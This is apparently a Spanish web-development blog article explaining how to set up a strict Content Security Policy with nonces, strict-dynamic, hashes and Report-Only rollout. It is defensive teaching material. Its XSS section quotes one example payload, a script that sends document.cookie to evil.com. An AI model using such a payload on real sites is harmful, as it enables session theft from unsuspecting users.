Content Security Policy explicado: cómo configurarlo bien de una vez
'unsafe-inline' no es una política de seguridad, es rendirse. Guía práctica de CSP: qué ataques previene de verdad, cómo construir una política estricta con nonces y strict-dynamic, y cómo desplegarla sin romper nada por sorpresa.
La forma más rápida de “arreglar” una advertencia de CSP en consola es añadir 'unsafe-inline' a la directiva que se queja. También es la forma más rápida de convertir tu Content Security Policy en un comentario decorativo que no protege de nada. unsafe-inline no es una excepción puntual: es desactivar precisamente el mecanismo que hace que CSP sirva para algo, porque el ataque que CSP existe para frenar —inyectar un script en tu página— casi siempre lo hace insertando un <script> inline. Este artículo explica qué previene una CSP bien hecha, qué directivas importan de verdad, y cómo construir una política estricta sin que la primera semana de despliegue sea una cadena de roturas en producción.
Qué previene realmente una CSP
Una Content Security Policy es una cabecera HTTP (Content-Security-Policy) que le dice al navegador, de forma explícita, de qué orígenes puede cargar y ejecutar recursos una página: scripts, hojas de estilo, imágenes, fuentes, conexiones de red, iframes. El navegador aplica esa lista de forma estricta y bloquea (o solo reporta, según el modo) cualquier cosa que no encaje.
El caso de uso principal, con diferencia, es mitigar cross-site scripting (XSS). Si un atacante consigue inyectar <script>fetch('https://evil.com?c='+document.cookie)</script> en un campo que tu aplicación no escapa correctamente, una CSP bien configurada impide que ese script se ejecute, aunque haya conseguido colarse en el HTML servido. No arregla el bug de escapado —eso sigue siendo tu responsabilidad— pero limita drásticamente el daño si ese bug existe y nadie lo ha detectado todavía. CSP también ayuda contra otras clases de ataque relacionadas: frame-ancestors previene clickjacking (que tu página se cargue dentro de un iframe malicioso), y una política restrictiva de connect-src limita a dónde puede exfiltrar datos un script que sí haya conseguido ejecutarse por otra vía.
Anatomía de una política: las directivas que importan
CSP se compone de directivas, cada una controlando un tipo de recurso. Estas son las que de verdad marcan la diferencia entre una política decorativa y una que protege:
| Directiva | Qué controla | Nota práctica |
|---|---|---|
default-src | Valor de respaldo para cualquier directiva no especificada explícitamente | Ponlo restrictivo ('self' o 'none') y añade excepciones directiva por directiva |
script-src | Qué scripts pueden ejecutarse | La directiva más crítica contra XSS; aquí es donde importa evitar 'unsafe-inline' |
style-src | Qué hojas de estilo pueden cargarse | Menos crítica para XSS clásico, pero relevante contra exfiltración vía CSS |
img-src, font-src, media-src | Orígenes de recursos estáticos | Suelen poder ser permisivos sin gran riesgo |
connect-src | A qué orígenes puede conectarse el JS de la página (fetch, XHR, WebSocket) | Clave para limitar exfiltración de datos si un script consigue ejecutarse |
frame-ancestors | Quién puede embeber tu página en un <iframe> | Previene clickjacking; sustituye a la antigua cabecera X-Frame-Options |
object-src | Plugins tipo Flash/Java (<object>, <embed>) | Ponlo siempre en 'none': no hay razón legítima para permitirlo en 2026 |
base-uri | Qué valores puede tomar <base href> | Ponlo en 'none' o 'self'; sin esto, un atacante puede redirigir rutas relativas de toda la página |
form-action | A qué URLs puede enviarse un <form> | Evita que un formulario inyectado envíe datos a un dominio del atacante |
upgrade-insecure-requests | Fuerza que las peticiones HTTP se sirvan por HTTPS | Útil como red de seguridad adicional, no sustituye a HSTS |
El error de manual: 'unsafe-inline' por pereza
'unsafe-inline' en script-src permite ejecutar cualquier <script> inline y cualquier manejador de evento inline (onclick="..."), venga de donde venga. Es, literalmente, desactivar la protección contra XSS que es la razón principal por la que existe CSP. Aparece con tanta frecuencia en políticas reales porque es la solución de una línea a un problema real: refactorizar código legacy lleno de <script> inline y atributos onclick cuesta tiempo, y 'unsafe-inline' hace que los errores de consola desaparezcan sin tocar una sola línea de HTML.
Cómo construir una política estricta sin romper la aplicación
La alternativa real a 'unsafe-inline' no es prohibir todo el JavaScript inline sin excepción: es autorizar explícitamente, por petición, qué scripts concretos son legítimos.
Nonces: un permiso de un solo uso por petición
Un nonce es un valor aleatorio generado en el servidor en cada respuesta, incluido tanto en la cabecera CSP como en el atributo nonce de cada <script> que quieras permitir. El navegador solo ejecuta scripts inline cuyo nonce coincida exactamente con el de la cabecera de esa respuesta concreta.
Content-Security-Policy: script-src 'nonce-8Fh3ndL9x2' 'strict-dynamic'; object-src 'none'; base-uri 'none';
<script nonce="8Fh3ndL9x2">
// Este script se ejecuta porque el nonce coincide con la cabecera
console.log('permitido');
</script>
El nonce debe generarse con un generador criptográficamente aleatorio (nunca un contador ni un timestamp) y cambiar en cada respuesta HTTP. Un middleware típico en un backend Node genera el valor antes de renderizar la plantilla y lo inyecta en ambos sitios:
import { randomBytes } from 'node:crypto';
app.use((req, res, next) => {
const nonce = randomBytes(16).toString('base64');
res.locals.cspNonce = nonce;
res.setHeader(
'Content-Security-Policy',
`script-src 'nonce-${nonce}' 'strict-dynamic'; object-src 'none'; base-uri 'none'; frame-ancestors 'self';`
);
next();
});
strict-dynamic: no listar cada CDN a mano
Sin strict-dynamic, tendrías que añadir explícitamente a script-src cada dominio del que cargas scripts de terceros (analítica, CDN de librerías, widgets), y mantener esa lista sincronizada cada vez que algo cambia. strict-dynamic resuelve esto de forma elegante: la confianza que un nonce le da a un <script> se propaga automáticamente a cualquier script que ese script cargue dinámicamente (por ejemplo, insertando un nuevo <script> vía document.createElement). Solo necesitas poner el nonce en tus scripts de entrada; el resto de la cadena de carga hereda la confianza sin necesitar más entradas en la lista.
Hashes: para scripts estáticos que no cambian entre despliegues
Si tienes un script inline fijo (no generado dinámicamente por request), puedes autorizarlo por el hash SHA-256 de su contenido exacto en lugar de por nonce:
Content-Security-Policy: script-src 'sha256-K2vG8k5zY...' 'strict-dynamic';
Cualquier cambio de una sola coma en ese script invalida el hash, lo cual es una ventaja de seguridad (nadie puede modificar el script sin que deje de coincidir) pero exige regenerar el hash en cada build si el contenido cambia.
Desplegar sin miedo: modo Report-Only primero
Activar una CSP estricta directamente en modo de bloqueo, sin haberla probado antes, es la forma más segura de romper funcionalidad en producción sin enterarte hasta que un usuario se queje. La cabecera Content-Security-Policy-Report-Only aplica la misma política pero solo para generar reportes de violación, sin bloquear nada:
Content-Security-Policy-Report-Only: script-src 'nonce-8Fh3ndL9x2' 'strict-dynamic'; report-uri /csp-violations;
El flujo recomendado:
- Despliega la política deseada solo en modo
Report-Only, con un endpoint que reciba los reportes de violación. - Revisa los reportes durante un periodo razonable (días, no minutos) para detectar scripts o estilos legítimos que la política bloquearía.
- Ajusta la política para cubrir esos casos legítimos —añadiendo el nonce donde falte, nunca añadiendo
'unsafe-inline'como atajo. - Cuando los reportes se acerquen a cero, promueve la misma política a la cabecera
Content-Security-Policyreal, en modo de bloqueo.
Herramientas como el CSP Evaluator de Google analizan una política ya escrita y señalan directivas débiles o bypasseables antes de que llegue a producción.
Errores comunes al implementar CSP
- Usar
*en cualquier directiva sensible. Un comodín enscript-srcanula por completo el propósito de la directiva; es funcionalmente equivalente a no tener política para ese recurso. - Poner la política en una etiqueta
<meta>en vez de en la cabecera HTTP. Funciona parcialmente, pero varias directivas (frame-ancestors,report-uri,sandbox) se ignoran completamente cuando se declaran vía<meta>. Usa siempre la cabecera HTTP real. - Olvidar
frame-ancestors. Es fácil centrarse solo en XSS y olvidar que CSP también es la forma moderna de prevenir clickjacking; sin esta directiva, tu página puede seguir siendo embebida en un iframe ajeno. - Copiar una política de otro proyecto sin adaptarla. Una CSP que funciona para una aplicación con un stack de terceros distinto (analítica, pagos, widgets) probablemente bloqueará —o dejará pasar de más— recursos que no tienen nada que ver con tu aplicación real.
Una CSP estricta no sustituye escapar el output
Con todo esto en su sitio, sigue siendo verdad que la defensa primaria contra XSS es escapar correctamente cada dato no confiable según el contexto donde se inserta: HTML, atributo, JavaScript, URL. CSP es la capa que limita el daño si esa defensa primaria falla en algún punto que nadie detectó en revisión de código. Si tu aplicación depende de 'unsafe-inline' para funcionar, no tienes una política de seguridad: tienes una cabecera HTTP que documenta, con precisión, que tu aplicación es vulnerable a XSS si algo falla en el escapado. La diferencia entre ambas cosas es exactamente el trabajo de migrar a nonces que describe este artículo.
Artículos relacionados
CSS moderno: container queries, :has() y las funciones que cambian cómo escribimos estilos
Container queries, :has() y un puñado de funciones nuevas llevan un par de años con soporte completo en navegadores, pero la mayoría de proyectos los sigue evitando por costumbre. Qué patrones de JavaScript y de librerías CSS dejan de tener sentido gracias a esto.
Optimización de imágenes en la web moderna: formatos, lazy loading y CDN
Formatos de imagen, srcset/sizes, lazy loading nativo y CDN de transformación on-the-fly: la guía técnica completa para dejar de servir imágenes de más.
Gestión de estado en aplicaciones frontend modernas: guía práctica
La pregunta '¿qué librería de estado uso?' suele estar mal planteada. Antes hay que responder otra: ¿qué tipo de estado es este? Local, global o de servidor piden soluciones distintas, y la mitad de las veces la respuesta correcta es no añadir ninguna librería.